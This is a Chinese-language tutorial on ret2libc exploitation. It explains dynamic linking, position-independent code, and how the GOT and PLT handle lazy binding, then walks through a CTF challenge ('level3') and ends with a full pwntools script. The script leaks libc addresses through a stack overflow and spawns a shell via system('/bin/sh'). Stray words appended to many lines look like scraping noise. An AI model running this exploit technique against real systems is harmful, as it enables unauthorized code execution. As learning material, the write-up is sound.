准备知识引用自https://www.freebuf.com/articles/rookie/182894.htmlhtml
ret2libc 这种攻击方式主要是针对 动态连接(Dynamic linking) 编译的程序,linux
由于正常状况下是没法在程序中找到像 system() 、execve() 这种系统级函数shell
(若是程序中直接包含了这种函数就能够直接控制返回地址指向他们,而不用经过这种麻烦的方式)。ubuntu
由于程序是动态连接生成的,因此在程序运行时会调用 libc.so (程序被装载时,动态连接器会将程序全部所需的动态连接库加载至进程空间,libc.so 就是其中最基本的一个),windows
libc.so 是 linux 下 C 语言库中的运行库glibc 的动态连接版,而且 libc.so 中包含了大量的能够利用的函数,数组
包括 system() 、execve() 等系统级函数,咱们能够经过找到这些函数在内存中的地址覆盖掉返回地址来得到当前进程的控制权。网络
一般状况下,咱们会选择执行 system(“/bin/sh”) 来打开 shell, 如此就只剩下两个问题:模块化
一、找到 system() 函数的地址;函数
二、在内存中找到 “/bin/sh” 这个字符串的地址。学习
动态连接 是指在程序装载时经过 动态连接器 将程序所需的全部 动态连接库(Dynamic linking library) 装载至进程空间中( 程序按照模块拆分红各个相对独立的部分),
当程序运行时才将他们连接在一块儿造成一个完整程序的过程。它诞生的最主要的的缘由就是 静态连接 太过于浪费内存和磁盘的空间,而且如今的软件开发都是模块化开发,
不一样的模块都是由不一样的厂家开发,在 静态连接 的状况下,一旦其中某一模块发生改变就会致使整个软件都须要从新编译,
而经过 动态连接 的方式就推迟这个连接过程到了程序运行时进行。这样作有如下几点好处:
例如磁盘中有两个程序,p一、p2,且他们两个都包含 lib.o 这个模块,在 静态连接 的状况下他们在连接输出可执行文件时都会包含 lib.o 这个模块,这就形成了磁盘空间的浪费。
当这两个程序运行时,内存中一样也就包含了这两个相同的模块,这也就使得内存空间被浪费。当系统中包含大量相似 lib.o 这种被多个程序共享的模块时,也就会形成很大空间的浪费。
在 动态连接 的状况下,运行 p1 ,当系统发现须要用到 lib.o ,就会接着加载 lib.o 。
这时咱们运行 p2 ,就不须要从新加载 lib.o 了,由于此时 lib.o 已经在内存中了,系统仅需将二者连接起来,此时内存中就只有一个 lib.o 节省了内存空间。
好比程序 p1 所使用的 lib.o 是由第三方提供的,等到第三方更新、或者为 lib.o 打补丁的时候,p1 就须要拿到第三方最新更新的 lib.o ,从新连接后在将其发布给用户。
程序依赖的模块越多,就愈加显得不方便,毕竟都是从网络上获取新资源。在 动态连接 的状况下,第三方更新 lib.o 后,
理论上只须要覆盖掉原有的 lib.o ,就没必要从新连接整个程序,在程序下一次运行时,新版本的目标文件就会自动装载到内存而且连接起来,就完成了升级的目标。
动态连接 的程序在运行时能够动态地选择加载各类模块,也就是咱们经常使用的插件。
软件的开发商开发某个产品时会按照必定的规则制定好程序的接口,其余开发者就能够经过这种接口来编写符合要求的动态连接文件,
以此来实现程序功能的扩展。加强兼容性是表如今 动态连接 的程序对不一样平台的依赖差别性下降,好比对某个函数的实现机制不一样,
若是是 静态连接 的程序会为不一样平台发布不一样的版本,而在 动态连接 的状况下,只要不一样的平台都能提供一个动态连接库包含该函数且接口相同,就只需用一个版本了。
总而言之,动态连接 的程序在运行时会根据本身所依赖的 动态连接库 ,经过 动态连接器 将他们加载至内存中,并在此时将他们连接成一个完整的程序。
Linux 系统中,ELF 动态连接文件被称为 动态共享对象(Dynamic Shared Objects) , 简称 共享对象 通常都是以 “.so” 为扩展名的文件;
在 windows 系统中就是经常软件报错缺乏 xxx.dll 文件。
了解完 动态连接 ,会有一个问题:共享对象 在被装载时,如何肯定其在内存中的地址?
下面简单的介绍一下,要使 共享对象 能在任意地址装载就须要利用到 装载时重定位 的思想,即在连接时对全部的绝对地址的引用不作重定位而将这一步推迟到装载时再完成,
一旦装载模块肯定,系统就对全部的绝对地址引用进行重定位。可是随之而来的问题是,指令部分没法在多个进程之间共享,
这又产生了一个新的技术 地址无关代码 (PIC,Position-independent Code),该技术基本思想就是将指令中须要被修改的部分分离出来放在数据部分
,这样就能保证指令部分不变且数据部分又能够在进程空间中保留一个副本,也就避免了不能节省空间的状况。那么从新定位后的程序是怎么进行数据访问和函数调用的呢?下面用实际代码验证 :
编写两个模块,一个是程序自身的代码模块,另外一个是共享对象模块。以此来学习动态连接的程序是如何进行模块内、模块间的函数调用和数据访问,共享文件以下:
got_extern.c #include <stdio.h> int b; void test() { printf("test\n"); }
编译成32位共享对象文件:
gcc got_extern.c -fPIC -shared -m32 -o got_extern.so
-fPIC 选项是生成地址无关代码的代码,gcc 中还有另外一个 -fpic 选项,差异是fPIC产生的代码较大可是跨平台性较强而fpic产生的代码较小,且生成速度更快可是在不一样平台中会有限制。通常会采用fPIC选项
-shared 选项是生成共享对象文件
-m32 选项是编译成32位程序
-o 选项是定义输出文件的名称
编写的代码模块:
got.c #include <stdio.h> static int a; extern int b; extern void test(); int fun() { a = 1; b = 2; } int main(int argc, char const *argv[]) { fun(); test(); printf("hey!"); return 0; }
和共享模块一同编译:
gcc got.c ./got_extern.so -m32 -o got
用 objdump 查看反汇编代码 objdump -D -Mintel got:
000011b9 <fun>: 11b9: 55 push ebp 11ba: 89 e5 mov ebp,esp 11bc: e8 63 00 00 00 call 1224 <__x86.get_pc_thunk.ax> 11c1: 05 3f 2e 00 00 add eax,0x2e3f 11c6: c7 80 24 00 00 00 01 mov DWORD PTR [eax+0x24],0x1 11cd: 00 00 00 11d0: 8b 80 ec ff ff ff mov eax,DWORD PTR [eax-0x14] 11d6: c7 00 02 00 00 00 mov DWORD PTR [eax],0x2 11dc: 90 nop 11dd: 5d pop ebp 11de: c3 ret 000011df <main>: 11df: 8d 4c 24 04 lea ecx,[esp+0x4] 11e3: 83 e4 f0 and esp,0xfffffff0 11e6: ff 71 fc push DWORD PTR [ecx-0x4] 11e9: 55 push ebp 11ea: 89 e5 mov ebp,esp 11ec: 53 push ebx 11ed: 51 push ecx 11ee: e8 cd fe ff ff call 10c0 <__x86.get_pc_thunk.bx> 11f3: 81 c3 0d 2e 00 00 add ebx,0x2e0d 11f9: e8 bb ff ff ff call 11b9 <fun> 11fe: e8 5d fe ff ff call 1060 <test@plt> 1203: 83 ec 0c sub esp,0xc 1206: 8d 83 08 e0 ff ff lea eax,[ebx-0x1ff8] 120c: 50 push eax 120d: e8 2e fe ff ff call 1040 <printf@plt> 1212: 83 c4 10 add esp,0x10 1215: b8 00 00 00 00 mov eax,0x0 121a: 8d 65 f8 lea esp,[ebp-0x8] 121d: 59 pop ecx 121e: 5b pop ebx 121f: 5d pop ebp 1220: 8d 61 fc lea esp,[ecx-0x4] 1223: c3 ret
main()函数中调用 fun()函数 ,指令为:
11f9: e8 bb ff ff ff call 11b9 <fun>
fun() 函数所在的地址为 0x000011b9 ,机器码 e8 表明 call 指令,为何后面是 bb ff ff ff 而不是 b9 11 00 00 (小端存储)呢?
这后面的四个字节表明着目的地址相对于当前指令的下一条指令地址的偏移,即 0x11f9 + 0×5 + (-69) = 0x11b9 ,
0xffffffbb 是 -69 的补码形式,这样作就可使程序不管被装载到哪里都会正常执行。
ELF 文件是由不少不少的 段(segment) 所组成,常见的就如 .text (代码段) 、.data(数据段,存放已经初始化的全局变量或静态变量)、
.bss(数据段,存放未初始化全局变量)等,这样就能作到数据与指令分离互不干扰。在同一个模块中,
通常前面的内存区域存放着代码后面的区域存放着数据(这里指的是 .data 段)。那么指令是如何访问远在 .data 段 中的数据呢?
观察 fun() 函数中给静态变量 a 赋值的指令:
11bc: e8 63 00 00 00 call 1224 <__x86.get_pc_thunk.ax> 11c1: 05 3f 2e 00 00 add eax,0x2e3f 11c6: c7 80 24 00 00 00 01 mov DWORD PTR [eax+0x24],0x1 11cd: 00 00 00
从上面的指令中能够看出,它先调用了 __x86.get_pc_thunk.ax() 函数:
00001224 <__x86.get_pc_thunk.ax>: 1224: 8b 04 24 mov eax,DWORD PTR [esp] 1227: c3 ret
这个函数的做用就是把返回地址的值放到 eax 寄存器中,也就是把0x000011c1保存到eax中,而后再加上 0x2e3f ,最后再加上 0×24 。
即 0x000011c1 + 0x2e3f + 0×24 = 0×4024,这个值就是相对于模块加载基址的值。经过这样就能访问到模块内部的数据。
变量 b 被定义在其余模块中,其地址须要在程序装载时才可以肯定。利用到前面的代码地址无关的思想,把地址相关的部分放入数据段中,
然而这里的变量 b 的地址与其自身所在的模块装载的地址有关。解决:ELF 中在数据段里面创建了一个指向这些变量的指针数组,
也就是咱们所说的 GOT 表(Global offset Table, 全局偏移表 ),它的功能就是当代码须要引用全局变量时,能够经过 GOT 表间接引用。
查看反汇编代码中是如何访问变量 b 的:
11bc: e8 63 00 00 00 call 1224 <__x86.get_pc_thunk.ax> 11c1: 05 3f 2e 00 00 add eax,0x2e3f 11c6: c7 80 24 00 00 00 01 mov DWORD PTR [eax+0x24],0x1 11cd: 00 00 00 11d0: 8b 80 ec ff ff ff mov eax,DWORD PTR [eax-0x14] 11d6: c7 00 02 00 00 00 mov DWORD PTR [eax],0x2
计算变量 b 在 GOT 表中的位置,0x11c1 + 0x2e3f – 0×14 = 0x3fec ,查看 GOT 表的位置。
命令 objdump -h got ,查看ELF文件中的节头内容:
21 .got 00000018 00003fe8 00003fe8 00002fe8 2**2
CONTENTS, ALLOC, LOAD, DATA
这里能够看到 .got 在文件中的偏移是 0x00003fe8,如今来看在动态链接时须要重定位的项,使用 objdump -R got 命令
00003fec R_386_GLOB_DAT b
能够看到变量b的地址须要重定位,位于0x00003fec,在GOT表中的偏移就是4,也就是第二项(每四个字节为一项),这个值正好对应以前经过指令计算出来的偏移值。
模块间函数调用用到了延迟绑定,都是函数名@plt的形式,后面再说
11fe: e8 5d fe ff ff call 1060 <test@plt>
由于 动态连接 的程序是在运行时须要对全局和静态数据访问进行GOT定位,而后间接寻址。
一样,对于模块间的调用也须要GOT定位,再才间接跳转,这么作势必会影响到程序的运行速度。
并且程序在运行时很大一部分函数均可能用不到,因而ELF采用了当函数第一次使用时才进行绑定的思想,也就是咱们所说的 延迟绑定。
ELF实现 延迟绑定 是经过 PLT ,原先 GOT 中存放着全局变量和函数调用,如今把他拆成另个部分 .got 和 .got.plt
,用 .got 存放着全局变量引用,用 .got.plt 存放着函数引用。查看 test@plt 代码,用 objdump -Mintel -d -j .plt got
-Mintel 选项指定 intel 汇编语法 -d 选项展现可执行文件节的汇编形式 -j 选项后面跟上节名,指定节
00001060 <test@plt>: 1060: ff a3 14 00 00 00 jmp DWORD PTR [ebx+0x14] 1066: 68 10 00 00 00 push 0x10 106b: e9 c0 ff ff ff jmp 1030 <.plt>
查看 main()函数 中调用 test@plt 的反汇编代码
11ee: e8 cd fe ff ff call 10c0 <__x86.get_pc_thunk.bx> 11f3: 81 c3 0d 2e 00 00 add ebx,0x2e0d 11f9: e8 bb ff ff ff call 11b9 <fun> 11fe: e8 5d fe ff ff call 1060 <test@plt>
x86.gett_pc_thunk.bx 函数与以前的 x86.get_pc_thunk.ax 功能同样 ,得出 ebx = 0x11f3 + 0x2e0d = 0×4000 ,ebx + 0×14 = 0×4014 。首先 jmp 指令,跳转到 0×4014 这个地址,这个地址在 .got.plt 节中 :
也就是当程序须要调用到其余模块中的函数时例如 fun() ,就去访问保存在 .got.plt 中的 fun@plt 。
这里有两种状况,第一种就是第一次使用这个函数,这个地方就存放着第二条指令的地址,也就至关于什么都不作。
用 objdump -d -s got -j .got.plt 命令查看节中的内容
-s 参数显示指定节的全部内容
4014 处存放着 66 10 00 00 ,由于是小端序因此应为 0×00001066,这个位置恰好对应着 push 0×10 这条指令,这个值是 test 这个符号在 .rel.plt 节中的下标。继续 jmp 指令跳到 .plt 处
push DWORD PTR [ebx + 0x4] 指令是将当前模块ID压栈,也就是 got.c 模块,接着 jmp DWORD PTR [ebx + 0x8] ,
这个指令就是跳转到 动态连接器 中的 dl_runtime_resolve 函数中去。
这个函数的做用就是在另外的模块中查找须要的函数,就是这里的在 got_extern.so 模块中的 test 函数。
而后dl_runtime_resolve函数会将 test() 函数的真正地址填入到 test@got 中去也就是 .got.plt 节中。那么第二种状况就是,当第二次调用test()@plt 函数时,就会经过第一条指令跳转到真正的函数地址。
整个过程就是所说的经过 plt 来实现 延迟绑定 。程序调用外部函数的整个过程就是,第一次访问 test@plt 函数时,
动态连接器就会去动态共享模块中查找 test 函数的真实地址而后将真实地址保存到test@got中(.got.plt);
第二次访问test@plt时,就直接跳转到test@got中去。
cjx@ubuntu:~$ checksec '/home/cjx/Desktop/level3'
[*] '/home/cjx/Desktop/level3'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
开启了堆栈不可执行
首先写脚本以前应作好准备工做,好比readelf把so文件中几个关键函数和字符串搜一遍
root@kali:~/Desktop/Pwn/level3# readelf -a ./libc-2.19.so |grep "read@" 571: 000daf60 125 FUNC WEAK DEFAULT 12 __read@@GLIBC_2.0 705: 0006f220 50 FUNC GLOBAL DEFAULT 12 _IO_file_read@@GLIBC_2.0 950: 000daf60 125 FUNC WEAK DEFAULT 12 read@@GLIBC_2.0 1166: 000e0c40 1461 FUNC GLOBAL DEFAULT 12 fts_read@@GLIBC_2.0 1263: 000ec390 46 FUNC GLOBAL DEFAULT 12 eventfd_read@@GLIBC_2.7 1698: 000643a0 259 FUNC WEAK DEFAULT 12 fread@@GLIBC_2.0 2181: 000c3030 204 FUNC WEAK DEFAULT 12 pread@@GLIBC_2.1 2300: 000643a0 259 FUNC GLOBAL DEFAULT 12 _IO_fread@@GLIBC_2.0 root@kali:~/Desktop/Pwn/level3# readelf -a ./libc-2.19.so |grep "system@" 620: 00040310 56 FUNC GLOBAL DEFAULT 12 __libc_system@@GLIBC_PRIVATE 1443: 00040310 56 FUNC WEAK DEFAULT 12 system@@GLIBC_2.0 root@kali:~/Desktop/Pwn/level3# readelf -a ./libc-2.19.so |grep "exit@" 111: 00033690 58 FUNC GLOBAL DEFAULT 12 __cxa_at_quick_exit@@GLIBC_2.10 139: 00033260 45 FUNC GLOBAL DEFAULT 12 exit@@GLIBC_2.0 554: 000b5f24 24 FUNC GLOBAL DEFAULT 12 _exit@@GLIBC_2.0 609: 0011c2a0 56 FUNC GLOBAL DEFAULT 12 svc_exit@@GLIBC_2.0 645: 00033660 45 FUNC GLOBAL DEFAULT 12 quick_exit@@GLIBC_2.10 868: 00033490 84 FUNC GLOBAL DEFAULT 12 __cxa_atexit@@GLIBC_2.1.3 1037: 00126800 60 FUNC GLOBAL DEFAULT 12 atexit@GLIBC_2.0 1492: 000f9160 62 FUNC GLOBAL DEFAULT 12 pthread_exit@@GLIBC_2.0 2243: 00033290 77 FUNC WEAK DEFAULT 12 on_exit@@GLIBC_2.0 2386: 000f9cd0 2 FUNC GLOBAL DEFAULT 12 __cyg_profile_func_exit@@GLIBC_2.2 root@kali:~/Desktop/Pwn/level3# strings -a -t x ./libc-2.19.so | grep "/bin/sh" 16084c /bin/sh
筛选以后获得
950: 000daf60 125 FUNC WEAK DEFAULT 12 read
Step1:经过vulnerable_function中的read构造栈溢出,而且覆写返回地址为plt中write的地址
Step2:经过write泄露出read在内存中的绝对地址,而且接着调用vulnerable_function(PS:got中的read保存着read在内存中的真实地址)
Step3:计算出system和/bin/sh的绝对地址,再经过vulnerable_function构造栈溢出进行覆写
同时也能够经过IDA来搜索
编写EXP:
from pwn import * r=remote('pwn2.jarvisoj.com',9879) e=ELF('./level3') plt_write=hex(e.plt['write']) got_read=hex(e.got['read']) vulfuncadr=hex(e.symbols['vulnerable_function']) plt_write_args=p32(0x01)+p32(int(got_read,16))+p32(0x04) #调用顺序:func1_address+func2_adress+……+func1_argslist+func2_argslist+…… payload1='A'*(0x88+0x4)+p32(int(plt_write,16))+p32(int(vulfuncadr,16))+plt_write_args r.recv() r.send(payload1) readadr=hex(u32(r.recv()))#泄露read绝对地址 # 950: 000daf60 125 FUNC WEAK DEFAULT 12 read@@GLIBC_2.0 # 1443: 00040310 56 FUNC WEAK DEFAULT 12 system@@GLIBC_2.0 # 139: 00033260 45 FUNC GLOBAL DEFAULT 12 exit@@GLIBC_2.0 # 16084c /bin/sh libc_read=0x000DAF60 offset=int(readadr,16)-libc_read #计算偏移量 sysadr=offset+0x00040310 #system绝对地址 xitadr=offset+0x00033260 #exit绝对地址 bshadr=offset+0x0016084C #binsh绝对地址 payload2='A'*(0x88+0x4)+p32(sysadr)+p32(xitadr)+p32(bshadr) r.send(payload2) r.interactive()